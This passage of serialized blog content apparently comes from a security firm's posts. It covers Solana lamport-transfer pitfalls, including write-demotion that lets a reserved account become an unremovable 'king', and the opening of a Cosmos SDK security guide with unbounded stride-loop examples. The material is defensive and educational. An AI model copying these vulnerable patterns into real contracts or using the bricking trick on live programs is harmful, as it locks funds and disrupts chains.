e":1694},{"type":21,"tag":153,"props":77689,"children":77690},{"style":160},[77691],{"type":26,"value":73644},{"type":21,"tag":153,"props":77693,"children":77694},{"style":198},[77695],{"type":26,"value":355},{"type":21,"tag":153,"props":77697,"children":77698},{"style":160},[77699],{"type":26,"value":73739},{"type":21,"tag":153,"props":77701,"children":77702},{"class":155,"line":533},[77703,77707,77711,77715,77719,77723,77727],{"type":21,"tag":153,"props":77704,"children":77705},{"style":170},[77706],{"type":26,"value":23537},{"type":21,"tag":153,"props":77708,"children":77709},{"style":192},[77710],{"type":26,"value":73713},{"type":21,"tag":153,"props":77712,"children":77713},{"style":198},[77714],{"type":26,"value":201},{"type":21,"tag":153,"props":77716,"children":77717},{"style":214},[77718],{"type":26,"value":28095},{"type":21,"tag":153,"props":77720,"children":77721},{"style":160},[77722],{"type":26,"value":25615},{"type":21,"tag":153,"props":77724,"children":77725},{"style":214},[77726],{"type":26,"value":25620},{"type":21,"tag":153,"props":77728,"children":77729},{"style":160},[77730],{"type":26,"value":8867},{"type":21,"tag":153,"props":77732,"children":77733},{"class":155,"line":542},[77734],{"type":21,"tag":153,"props":77735,"children":77736},{"emptyLinePlaceholder":16},[77737],{"type":26,"value":759},{"type":21,"tag":153,"props":77739,"children":77740},{"class":155,"line":762},[77741,77745,77749],{"type":21,"tag":153,"props":77742,"children":77743},{"style":160},[77744],{"type":26,"value":25820},{"type":21,"tag":153,"props":77746,"children":77747},{"style":170},[77748],{"type":26,"value":318},{"type":21,"tag":153,"props":77750,"children":77751},{"style":160},[77752],{"type":26,"value":22954},{"type":21,"tag":153,"props":77754,"children":77755},{"class":155,"line":776},[77756,77760,77764,77768,77772,77776,77780],{"type":21,"tag":153,"props":77757,"children":77758},{"style":170},[77759],{"type":26,"value":23537},{"type":21,"tag":153,"props":77761,"children":77762},{"style":192},[77763],{"type":26,"value":73812},{"type":21,"tag":153,"props":77765,"children":77766},{"style":198},[77767],{"type":26,"value":201},{"type":21,"tag":153,"props":77769,"children":77770},{"style":214},[77771],{"type":26,"value":28095},{"type":21,"tag":153,"props":77773,"children":77774},{"style":160},[77775],{"type":26,"value":25615},{"type":21,"tag":153,"props":77777,"children":77778},{"style":214},[77779],{"type":26,"value":25620},{"type":21,"tag":153,"props":77781,"children":77782},{"style":160},[77783],{"type":26,"value":8867},{"type":21,"tag":153,"props":77785,"children":77786},{"class":155,"line":795},[77787],{"type":21,"tag":153,"props":77788,"children":77789},{"emptyLinePlaceholder":16},[77790],{"type":26,"value":759},{"type":21,"tag":153,"props":77792,"children":77793},{"class":155,"line":808},[77794,77798,77802],{"type":21,"tag":153,"props":77795,"children":77796},{"style":160},[77797],{"type":26,"value":25820},{"type":21,"tag":153,"props":77799,"children":77800},{"style":170},[77801],{"type":26,"value":318},{"type":21,"tag":153,"props":77803,"children":77804},{"style":160},[77805],{"type":26,"value":22954},{"type":21,"tag":153,"props":77807,"children":77808},{"class":155,"line":820},[77809,77813,77817,77821,77825,77829,77833],{"type":21,"tag":153,"props":77810,"children":77811},{"style":170},[77812],{"type":26,"value":23537},{"type":21,"tag":153,"props":77814,"children":77815},{"style":192},[77816],{"type":26,"value":1903},{"type":21,"tag":153,"props":77818,"children":77819},{"style":198},[77820],{"type":26,"value":201},{"type":21,"tag":153,"props":77822,"children":77823},{"style":214},[77824],{"type":26,"value":25849},{"type":21,"tag":153,"props":77826,"children":77827},{"style":160},[77828],{"type":26,"value":25615},{"type":21,"tag":153,"props":77830,"children":77831},{"style":214},[77832],{"type":26,"value":25620},{"type":21,"tag":153,"props":77834,"children":77835},{"style":160},[77836],{"type":26,"value":8867},{"type":21,"tag":153,"props":77838,"children":77839},{"class":155,"line":842},[77840],{"type":21,"tag":153,"props":77841,"children":77842},{"style":160},[77843],{"type":26,"value":548},{"type":21,"tag":22,"props":77845,"children":77846},{},[77847,77849,77855,77857,77863],{"type":26,"value":77848},"This works fine — until one day, ",{"type":21,"tag":78,"props":77850,"children":77852},{"className":77851},[],[77853],{"type":26,"value":77854},"old_king",{"type":26,"value":77856}," is silently demoted. Suddenly, the ",{"type":21,"tag":78,"props":77858,"children":77860},{"className":77859},[],[77861],{"type":26,"value":77862},"#[account(mut)]",{"type":26,"value":77864}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":21,"tag":21591,"props":77866,"children":77868},{"id":77867},"real-world-example-write-demotion-with-secp256r1_program",[77869,77871],{"type":26,"value":77870},"Real-World Example: Write-Demotion with ",{"type":21,"tag":78,"props":77872,"children":77874},{"className":77873},[],[77875],{"type":26,"value":77876},"secp256r1_program",{"type":21,"tag":22,"props":77878,"children":77879},{},[77880,77882,77887],{"type":26,"value":77881},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":21,"tag":78,"props":77883,"children":77885},{"className":77884},[],[77886],{"type":26,"value":77876},{"type":26,"value":77888},", a precompiled program gated behind a feature flag:",{"type":21,"tag":143,"props":77890,"children":77892},{"className":145,"code":77891,"language":147,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[77893],{"type":21,"tag":78,"props":77894,"children":77895},{"__ignoreMap":7},[77896,77917,77937,77966],{"type":21,"tag":153,"props":77897,"children":77898},{"class":155,"line":156},[77899,77904,77908,77913],{"type":21,"tag":153,"props":77900,"children":77901},{"style":214},[77902],{"type":26,"value":77903},"ReservedAccount",{"type":21,"tag":153,"props":77905,"children":77906},{"style":198},[77907],{"type":26,"value":265},{"type":21,"tag":153,"props":77909,"children":77910},{"style":181},[77911],{"type":26,"value":77912},"new_pending",{"type":21,"tag":153,"props":77914,"children":77915},{"style":160},[77916],{"type":26,"value":773},{"type":21,"tag":153,"props":77918,"children":77919},{"class":155,"line":166},[77920,77925,77929,77933],{"type":21,"tag":153,"props":77921,"children":77922},{"style":160},[77923],{"type":26,"value":77924},"    secp256r1_program",{"type":21,"tag":153,"props":77926,"children":77927},{"style":198},[77928],{"type":26,"value":265},{"type":21,"tag":153,"props":77930,"children":77931},{"style":181},[77932],{"type":26,"value":6227},{"type":21,"tag":153,"props":77934,"children":77935},{"style":160},[77936],{"type":26,"value":721},{"type":21,"tag":153,"props":77938,"children":77939},{"class":155,"line":225},[77940,77945,77949,77954,77958,77962],{"type":21,"tag":153,"props":77941,"children":77942},{"style":160},[77943],{"type":26,"value":77944},"    feature_set",{"type":21,"tag":153,"props":77946,"children":77947},{"style":198},[77948],{"type":26,"value":265},{"type":21,"tag":153,"props":77950,"children":77951},{"style":160},[77952],{"type":26,"value":77953},"enable_secp256r1_precompile",{"type":21,"tag":153,"props":77955,"children":77956},{"style":198},[77957],{"type":26,"value":265},{"type":21,"tag":153,"props":77959,"children":77960},{"style":181},[77961],{"type":26,"value":6227},{"type":21,"tag":153,"props":77963,"children":77964},{"style":160},[77965],{"type":26,"value":721},{"type":21,"tag":153,"props":77967,"children":77968},{"class":155,"line":239},[77969],{"type":21,"tag":153,"props":77970,"children":77971},{"style":160},[77972],{"type":26,"value":5909},{"type":21,"tag":22,"props":77974,"children":77975},{},[77976,77978,77983,77985,77991],{"type":26,"value":77977},"Before the ",{"type":21,"tag":78,"props":77979,"children":77981},{"className":77980},[],[77982],{"type":26,"value":77953},{"type":26,"value":77984}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":21,"tag":78,"props":77986,"children":77988},{"className":77987},[],[77989],{"type":26,"value":77990},"secp256r1_program::id()",{"type":26,"value":77992}," as the king in a contract.",{"type":21,"tag":22,"props":77994,"children":77995},{},[77996,77998,78003],{"type":26,"value":77997},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":21,"tag":78,"props":77999,"children":78001},{"className":78000},[],[78002],{"type":26,"value":77990},{"type":26,"value":78004}," becomes the eternal king, and no one can dethrone it.",{"type":21,"tag":21591,"props":78006,"children":78008},{"id":78007},"fix-3-preventing-write-demotion-pitfalls",[78009],{"type":26,"value":78010},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":21,"tag":22,"props":78012,"children":78013},{},[78014,78016,78021],{"type":26,"value":78015},"Alright, let’s try to fix this ",{"type":21,"tag":5302,"props":78017,"children":78018},{},[78019],{"type":26,"value":78020},"yet another",{"type":26,"value":78022}," edge case — and hopefully close the book on it.",{"type":21,"tag":21591,"props":78024,"children":78026},{"id":78025},"attempt-1-block-known-reserved-accounts",[78027],{"type":26,"value":78028},"Attempt 1: Block Known Reserved Accounts",{"type":21,"tag":22,"props":78030,"children":78031},{},[78032],{"type":26,"value":78033},"One naive solution is to reject any known reserved account, for example:",{"type":21,"tag":143,"props":78035,"children":78037},{"className":43052,"code":78036,"language":43054,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[78038],{"type":21,"tag":78,"props":78039,"children":78040},{"__ignoreMap":7},[78041,78049],{"type":21,"tag":153,"props":78042,"children":78043},{"class":155,"line":156},[78044],{"type":21,"tag":153,"props":78045,"children":78046},{"style":160},[78047],{"type":26,"value":78048},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":21,"tag":153,"props":78050,"children":78051},{"class":155,"line":166},[78052],{"type":21,"tag":153,"props":78053,"children":78054},{"style":300},[78055],{"type":26,"value":78056},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":21,"tag":22,"props":78058,"children":78059},{},[78060,78062,78067],{"type":26,"value":78061},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":21,"tag":78,"props":78063,"children":78065},{"className":78064},[],[78066],{"type":26,"value":77903},{"type":26,"value":78068}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":21,"tag":21591,"props":78070,"children":78072},{"id":78071},"attempt-2-use-a-pda-vault",[78073],{"type":26,"value":78074},"Attempt 2: Use a PDA Vault",{"type":21,"tag":22,"props":78076,"children":78077},{},[78078,78080,78085],{"type":26,"value":78079},"A more future-proof fix is to avoid ",{"type":21,"tag":8055,"props":78081,"children":78082},{},[78083],{"type":26,"value":78084},"transferring lamports to arbitrary accounts",{"type":26,"value":78086}," altogether.",{"type":21,"tag":22,"props":78088,"children":78089},{},[78090],{"type":26,"value":78091},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":21,"tag":66,"props":78093,"children":78095},{"id":78094},"final-thoughts",[78096],{"type":26,"value":78097},"Final Thoughts",{"type":21,"tag":22,"props":78099,"children":78100},{},[78101],{"type":26,"value":78102},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":21,"tag":22,"props":78104,"children":78105},{},[78106],{"type":26,"value":78107},"We can safely transfer lamports to an account under the following conditions:",{"type":21,"tag":87,"props":78109,"children":78110},{},[78111,78116,78121],{"type":21,"tag":91,"props":78112,"children":78113},{},[78114],{"type":26,"value":78115},"It's not executable.",{"type":21,"tag":91,"props":78117,"children":78118},{},[78119],{"type":26,"value":78120},"Its balance, after the transfer, remains rent-exempt.",{"type":21,"tag":91,"props":78122,"children":78123},{},[78124],{"type":26,"value":78125},"It's not a reserved account.",{"type":21,"tag":22,"props":78127,"children":78128},{},[78129],{"type":26,"value":78130},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":21,"tag":5603,"props":78132,"children":78133},{},[78134],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":78136},[78137,78138,78139,78145],{"id":31710,"depth":166,"text":31713},{"id":73519,"depth":166,"text":73522},{"id":74626,"depth":166,"text":74629,"children":78140},[78141,78142,78144],{"id":74632,"depth":225,"text":74635},{"id":75319,"depth":225,"text":78143},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":76624,"depth":225,"text":76627},{"id":78094,"depth":166,"text":78097},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":78150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":78151,"description":78152,"date":78153,"author":78154,"image":78155,"isFeatured":16,"onBlogPage":16,"tags":78157,"body":78160,"_type":5619,"_id":92045,"_source":5621,"_file":92046,"_stem":92047,"_extension":5624},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":78156,"width":16340,"height":16340},"/posts/cosmos-security/title.png",[78158,78159],"cosmos-sdk","security",{"type":18,"children":78161,"toc":92023},[78162,78166,78171,78176,78182,78187,78192,78197,78458,78947,78966,78971,78976,78981,78987,78992,79027,79037,79544,79564,79577,79583,79588,79593,79834,79839,79847,79859,80221,80226,80231,80267,80276,80702,80723,80729,80749,80770,80789,80821,80833,80845,81499,81527,81536,81976,82003,82023,82028,82049,82098,82107,83339,83367,83373,83378,83383,83403,83690,83724,83905,83910,83915,83959,83968,85160,85411,85424,85430,85464,85469,85532,85537,85557,85576,85588,85607,86299,86304,86309,86337,86346,87231,87258,87264,87284,87289,87302,87476,87489,87580,87585,87593,87603,87753,87758,87778,87786,87791,88189,88201,88206,88247,88258,88278,88586,88591,89516,89528,89536,89541,90534,90539,90551,90571,90590,91504,91561,91667,91679,91684,91689,91717,91726,91952,91978,91991,92005,92009,92014,92019],{"type":21,"tag":66,"props":78163,"children":78164},{"id":31710},[78165],{"type":26,"value":31713},{"type":21,"tag":22,"props":78167,"children":78168},{},[78169],{"type":26,"value":78170},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":21,"tag":22,"props":78172,"children":78173},{},[78174],{"type":26,"value":78175},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":21,"tag":66,"props":78177,"children":78179},{"id":78178},"its-loopin-time",[78180],{"type":26,"value":78181},"It's Loopin' Time",{"type":21,"tag":22,"props":78183,"children":78184},{},[78185],{"type":26,"value":78186},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":21,"tag":22,"props":78188,"children":78189},{},[78190],{"type":26,"value":78191},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":21,"tag":22,"props":78193,"children":78194},{},[78195],{"type":26,"value":78196},"Here is a simple example for reference:",{"type":21,"tag":143,"props":78198,"children":78200},{"code":78199,"language":7204,"meta":7,"className":7205,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[78201],{"type":21,"tag":78,"props":78202,"children":78203},{"__ignoreMap":7},[78204,78220,78237,78253,78275,78304,78325,78349,78370,78377,78398,78415,78432,78439,78451],{"type":21,"tag":153,"props":78205,"children":78206},{"class":155,"line":156},[78207,78211,78216],{"type":21,"tag":153,"props":78208,"children":78209},{"style":170},[78210],{"type":26,"value":34072},{"type":21,"tag":153,"props":78212,"children":78213},{"style":181},[78214],{"type":26,"value":78215}," sumWithStride",{"type":21,"tag":153,"props":78217,"children":78218},{"style":160},[78219],{"type":26,"value":773},{"type":21,"tag":153,"props":78221,"children":78222},{"class":155,"line":166},[78223,78228,78233],{"type":21,"tag":153,"props":78224,"children":78225},{"style":214},[78226],{"type":26,"value":78227},"    uint64",{"type":21,"tag":153,"props":78229,"children":78230},{"style":192},[78231],{"type":26,"value":78232}," start",{"type":21,"tag":153,"props":78234,"children":78235},{"style":160},[78236],{"type":26,"value":792},{"type":21,"tag":153,"props":78238,"children":78239},{"class":155,"line":225},[78240,78244,78249],{"type":21,"tag":153,"props":78241,"children":78242},{"style":214},[78243],{"type":26,"value":78227},{"type":21,"tag":153,"props":78245,"children":78246},{"style":192},[78247],{"type":26,"value":78248}," stride",{"type":21,"tag":153,"props":78250,"children":78251},{"style":160},[78252],{"type":26,"value":792},{"type":21,"tag":153,"props":78254,"children":78255},{"class":155,"line":239},[78256,78260,78265,78270],{"type":21,"tag":153,"props":78257,"children":78258},{"style":214},[78259],{"type":26,"value":78227},{"type":21,"tag":153,"props":78261,"children":78262},{"style":160},[78263],{"type":26,"value":78264},"[] ",{"type":21,"tag":153,"props":78266,"children":78267},{"style":170},[78268],{"type":26,"value":78269},"memory",{"type":21,"tag":153,"props":78271,"children":78272},{"style":192},[78273],{"type":26,"value":78274}," arr\n",{"type":21,"tag":153,"props":78276,"children":78277},{"class":155,"line":382},[78278,78282,78286,78291,78295,78300],{"type":21,"tag":153,"props":78279,"children":78280},{"style":160},[78281],{"type":26,"value":2362},{"type":21,"tag":153,"props":78283,"children":78284},{"style":170},[78285],{"type":26,"value":63968},{"type":21,"tag":153,"props":78287,"children":78288},{"style":1751},[78289],{"type":26,"value":78290}," returns",{"type":21,"tag":153,"props":78292,"children":78293},{"style":160},[78294],{"type":26,"value":5820},{"type":21,"tag":153,"props":78296,"children":78297},{"style":214},[78298],{"type":26,"value":78299},"uint64",{"type":21,"tag":153,"props":78301,"children":78302},{"style":160},[78303],{"type":26,"value":2659},{"type":21,"tag":153,"props":78305,"children":78306},{"class":155,"line":501},[78307,78311,78316,78320],{"type":21,"tag":153,"props":78308,"children":78309},{"style":214},[78310],{"type":26,"value":78227},{"type":21,"tag":153,"props":78312,"children":78313},{"style":160},[78314],{"type":26,"value":78315}," idx ",{"type":21,"tag":153,"props":78317,"children":78318},{"style":198},[78319],{"type":26,"value":2367},{"type":21,"tag":153,"props":78321,"children":78322},{"style":160},[78323],{"type":26,"value":78324}," start;\n",{"type":21,"tag":153,"props":78326,"children":78327},{"class":155,"line":533},[78328,78332,78337,78341,78345],{"type":21,"tag":153,"props":78329,"children":78330},{"style":214},[78331],{"type":26,"value":78227},{"type":21,"tag":153,"props":78333,"children":78334},{"style":160},[78335],{"type":26,"value":78336}," sum ",{"type":21,"tag":153,"props":78338,"children":78339},{"style":198},[78340],{"type":26,"value":2367},{"type":21,"tag":153,"props":78342,"children":78343},{"style":300},[78344],{"type":26,"value":5799},{"type":21,"tag":153,"props":78346,"children":78347},{"style":160},[78348],{"type":26,"value":1759},{"type":21,"tag":153,"props":78350,"children":78351},{"class":155,"line":542},[78352,78356,78361,78365],{"type":21,"tag":153,"props":78353,"children":78354},{"style":214},[78355],{"type":26,"value":78227},{"type":21,"tag":153,"props":78357,"children":78358},{"style":160},[78359],{"type":26,"value":78360}," end ",{"type":21,"tag":153,"props":78362,"children":78363},{"style":198},[78364],{"type":26,"value":2367},{"type":21,"tag":153,"props":78366,"children":78367},{"style":160},[78368],{"type":26,"value":78369}," arr.length;\n",{"type":21,"tag":153,"props":78371,"children":78372},{"class":155,"line":762},[78373],{"type":21,"tag":153,"props":78374,"children":78375},{"emptyLinePlaceholder":16},[78376],{"type":26,"value":759},{"type":21,"tag":153,"props":78378,"children":78379},{"class":155,"line":776},[78380,78384,78389,78393],{"type":21,"tag":153,"props":78381,"children":78382},{"style":1751},[78383],{"type":26,"value":66667},{"type":21,"tag":153,"props":78385,"children":78386},{"style":160},[78387],{"type":26,"value":78388}," (idx ",{"type":21,"tag":153,"props":78390,"children":78391},{"style":198},[78392],{"type":26,"value":8537},{"type":21,"tag":153,"props":78394,"children":78395},{"style":160},[78396],{"type":26,"value":78397}," end) {\n",{"type":21,"tag":153,"props":78399,"children":78400},{"class":155,"line":795},[78401,78406,78410],{"type":21,"tag":153,"props":78402,"children":78403},{"style":160},[78404],{"type":26,"value":78405},"        sum ",{"type":21,"tag":153,"props":78407,"children":78408},{"style":198},[78409],{"type":26,"value":70732},{"type":21,"tag":153,"props":78411,"children":78412},{"style":160},[78413],{"type":26,"value":78414}," arr[idx];\n",{"type":21,"tag":153,"props":78416,"children":78417},{"class":155,"line":808},[78418,78423,78427],{"type":21,"tag":153,"props":78419,"children":78420},{"style":160},[78421],{"type":26,"value":78422},"        idx ",{"type":21,"tag":153,"props":78424,"children":78425},{"style":198},[78426],{"type":26,"value":70732},{"type":21,"tag":153,"props":78428,"children":78429},{"style":160},[78430],{"type":26,"value":78431}," stride;\n",{"type":21,"tag":153,"props":78433,"children":78434},{"class":155,"line":820},[78435],{"type":21,"tag":153,"props":78436,"children":78437},{"style":160},[78438],{"type":26,"value":539},{"type":21,"tag":153,"props":78440,"children":78441},{"class":155,"line":842},[78442,78446],{"type":21,"tag":153,"props":78443,"children":78444},{"style":1751},[78445],{"type":26,"value":19687},{"type":21,"tag":153,"props":78447,"children":78448},{"style":160},[78449],{"type":26,"value":78450}," sum;\n",{"type":21,"tag":153,"props":78452,"children":78453},{"class":155,"line":3204},[78454],{"type":21,"tag":153,"props":78455,"children":78456},{"style":160},[78457],{"type":26,"value":548},{"type":21,"tag":143,"props":78459,"children":78463},{"code":78460,"language":78461,"meta":7,"className":78462,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[78464],{"type":21,"tag":78,"props":78465,"children":78466},{"__ignoreMap":7},[78467,78487,78500,78512,78530,78537,78544,78564,78576,78583,78590,78625,78651,78672,78701,78731,78776,78853,78889,78896,78940],{"type":21,"tag":153,"props":78468,"children":78469},{"class":155,"line":156},[78470,78474,78479,78483],{"type":21,"tag":153,"props":78471,"children":78472},{"style":170},[78473],{"type":26,"value":35450},{"type":21,"tag":153,"props":78475,"children":78476},{"style":214},[78477],{"type":26,"value":78478}," MsgSumWithStrideParams",{"type":21,"tag":153,"props":78480,"children":78481},{"style":170},[78482],{"type":26,"value":23844},{"type":21,"tag":153,"props":78484,"children":78485},{"style":160},[78486],{"type":26,"value":236},{"type":21,"tag":153,"props":78488,"children":78489},{"class":155,"line":166},[78490,78495],{"type":21,"tag":153,"props":78491,"children":78492},{"style":192},[78493],{"type":26,"value":78494},"    Start",{"type":21,"tag":153,"props":78496,"children":78497},{"style":214},[78498],{"type":26,"value":78499}," uint64\n",{"type":21,"tag":153,"props":78501,"children":78502},{"class":155,"line":225},[78503,78508],{"type":21,"tag":153,"props":78504,"children":78505},{"style":192},[78506],{"type":26,"value":78507},"    Stride",{"type":21,"tag":153,"props":78509,"children":78510},{"style":214},[78511],{"type":26,"value":78499},{"type":21,"tag":153,"props":78513,"children":78514},{"class":155,"line":239},[78515,78520,78525],{"type":21,"tag":153,"props":78516,"children":78517},{"style":192},[78518],{"type":26,"value":78519},"    Arr",{"type":21,"tag":153,"props":78521,"children":78522},{"style":160},[78523],{"type":26,"value":78524}," []",{"type":21,"tag":153,"props":78526,"children":78527},{"style":214},[78528],{"type":26,"value":78529},"uint64\n",{"type":21,"tag":153,"props":78531,"children":78532},{"class":155,"line":382},[78533],{"type":21,"tag":153,"props":78534,"children":78535},{"style":160},[78536],{"type":26,"value":548},{"type":21,"tag":153,"props":78538,"children":78539},{"class":155,"line":501},[78540],{"type":21,"tag":153,"props":78541,"children":78542},{"emptyLinePlaceholder":16},[78543],{"type":26,"value":759},{"type":21,"tag":153,"props":78545,"children":78546},{"class":155,"line":533},[78547,78551,78556,78560],{"type":21,"tag":153,"props":78548,"children":78549},{"style":170},[78550],{"type":26,"value":35450},{"type":21,"tag":153,"props":78552,"children":78553},{"style":214},[78554],{"type":26,"value":78555}," MsgSumWithStrideResponse",{"type":21,"tag":153,"props":78557,"children":78558},{"style":170},[78559],{"type":26,"value":23844},{"type":21,"tag":153,"props":78561,"children":78562},{"style":160},[78563],{"type":26,"value":236},{"type":21,"tag":153,"props":78565,"children":78566},{"class":155,"line":542},[78567,78572],{"type":21,"tag":153,"props":78568,"children":78569},{"style":192},[78570],{"type":26,"value":78571},"    Sum",{"type":21,"tag":153,"props":78573,"children":78574},{"style":214},[78575],{"type":26,"value":78499},{"type":21,"tag":153,"props":78577,"children":78578},{"class":155,"line":762},[78579],{"type":21,"tag":153,"props":78580,"children":78581},{"style":160},[78582],{"type":26,"value":548},{"type":21,"tag":153,"props":78584,"children":78585},{"class":155,"line":776},[78586],{"type":21,"tag":153,"props":78587,"children":78588},{"emptyLinePlaceholder":16},[78589],{"type":26,"value":759},{"type":21,"tag":153,"props":78591,"children":78592},{"class":155,"line":795},[78593,78598,78602,78607,78612,78616,78621],{"type":21,"tag":153,"props":78594,"children":78595},{"style":170},[78596],{"type":26,"value":78597},"func",{"type":21,"tag":153,"props":78599,"children":78600},{"style":160},[78601],{"type":26,"value":5820},{"type":21,"tag":153,"props":78603,"children":78604},{"style":192},[78605],{"type":26,"value":78606},"ms ",{"type":21,"tag":153,"props":78608,"children":78609},{"style":214},[78610],{"type":26,"value":78611},"msgServer",{"type":21,"tag":153,"props":78613,"children":78614},{"style":160},[78615],{"type":26,"value":2362},{"type":21,"tag":153,"props":78617,"children":78618},{"style":181},[78619],{"type":26,"value":78620},"SumWithStride",{"type":21,"tag":153,"props":78622,"children":78623},{"style":160},[78624],{"type":26,"value":773},{"type":21,"tag":153,"props":78626,"children":78627},{"class":155,"line":808},[78628,78633,78638,78642,78647],{"type":21,"tag":153,"props":78629,"children":78630},{"style":192},[78631],{"type":26,"value":78632},"    goCtx",{"type":21,"tag":153,"props":78634,"children":78635},{"style":214},[78636],{"type":26,"value":78637}," context",{"type":21,"tag":153,"props":78639,"children":78640},{"style":160},[78641],{"type":26,"value":355},{"type":21,"tag":153,"props":78643,"children":78644},{"style":214},[78645],{"type":26,"value":78646},"Context",{"type":21,"tag":153,"props":78648,"children":78649},{"style":160},[78650],{"type":26,"value":792},{"type":21,"tag":153,"props":78652,"children":78653},{"class":155,"line":820},[78654,78659,78663,78668],{"type":21,"tag":153,"props":78655,"children":78656},{"style":192},[78657],{"type":26,"value":78658},"    msg",{"type":21,"tag":153,"props":78660,"children":78661},{"style":198},[78662],{"type":26,"value":5080},{"type":21,"tag":153,"props":78664,"children":78665},{"style":214},[78666],{"type":26,"value":78667},"MsgSumWithStrideParams",{"type":21,"tag":153,"props":78669,"children":78670},{"style":160},[78671],{"type":26,"value":792},{"type":21,"tag":153,"props":78673,"children":78674},{"class":155,"line":842},[78675,78680,78684,78689,78693,78697],{"type":21,"tag":153,"props":78676,"children":78677},{"style":160},[78678],{"type":26,"value":78679},") (",{"type":21,"tag":153,"props":78681,"children":78682},{"style":198},[78683],{"type":26,"value":313},{"type":21,"tag":153,"props":78685,"children":78686},{"style":214},[78687],{"type":26,"value":78688},"MsgSumWithStrideResponse",{"type":21,"tag":153,"props":78690,"children":78691},{"style":160},[78692],{"type":26,"value":1670},{"type":21,"tag":153,"props":78694,"children":78695},{"style":214},[78696],{"type":26,"value":17566},{"type":21,"tag":153,"props":78698,"children":78699},{"style":160},[78700],{"type":26,"value":2659},{"type":21,"tag":153,"props":78702,"children":78703},{"class":155,"line":3204},[78704,78709,78714,78719,78723,78727],{"type":21,"tag":153,"props":78705,"children":78706},{"style":192},[78707],{"type":26,"value":78708},"    sum",{"type":21,"tag":153,"props":78710,"children":78711},{"style":198},[78712],{"type":26,"value":78713}," :=",{"type":21,"tag":153,"props":78715,"children":78716},{"style":214},[78717],{"type":26,"value":78718}," uint64",{"type":21,"tag":153,"props":78720,"children":78721},{"style":160},[78722],{"type":26,"value":189},{"type":21,"tag":153,"props":78724,"children":78725},{"style":300},[78726],{"type":26,"value":2996},{"type":21,"tag":153,"props":78728,"children":78729},{"style":160},[78730],{"type":26,"value":5909},{"type":21,"tag":153,"props":78732,"children":78733},{"class":155,"line":3230},[78734,78739,78743,78747,78751,78755,78759,78763,78767,78772],{"type":21,"tag":153,"props":78735,"children":78736},{"style":192},[78737],{"type":26,"value":78738},"    end",{"type":21,"tag":153,"props":78740,"children":78741},{"style":198},[78742],{"type":26,"value":78713},{"type":21,"tag":153,"props":78744,"children":78745},{"style":214},[78746],{"type":26,"value":78718},{"type":21,"tag":153,"props":78748,"children":78749},{"style":160},[78750],{"type":26,"value":189},{"type":21,"tag":153,"props":78752,"children":78753},{"style":181},[78754],{"type":26,"value":2456},{"type":21,"tag":153,"props":78756,"children":78757},{"style":160},[78758],{"type":26,"value":189},{"type":21,"tag":153,"props":78760,"children":78761},{"style":192},[78762],{"type":26,"value":60238},{"type":21,"tag":153,"props":78764,"children":78765},{"style":160},[78766],{"type":26,"value":355},{"type":21,"tag":153,"props":78768,"children":78769},{"style":192},[78770],{"type":26,"value":78771},"Arr",{"type":21,"tag":153,"props":78773,"children":78774},{"style":160},[78775],{"type":26,"value":2006},{"type":21,"tag":153,"props":78777,"children":78778},{"class":155,"line":3239},[78779,78783,78788,78792,78797,78801,78806,78810,78815,78819,78824,78828,78832,78836,78840,78844,78849],{"type":21,"tag":153,"props":78780,"c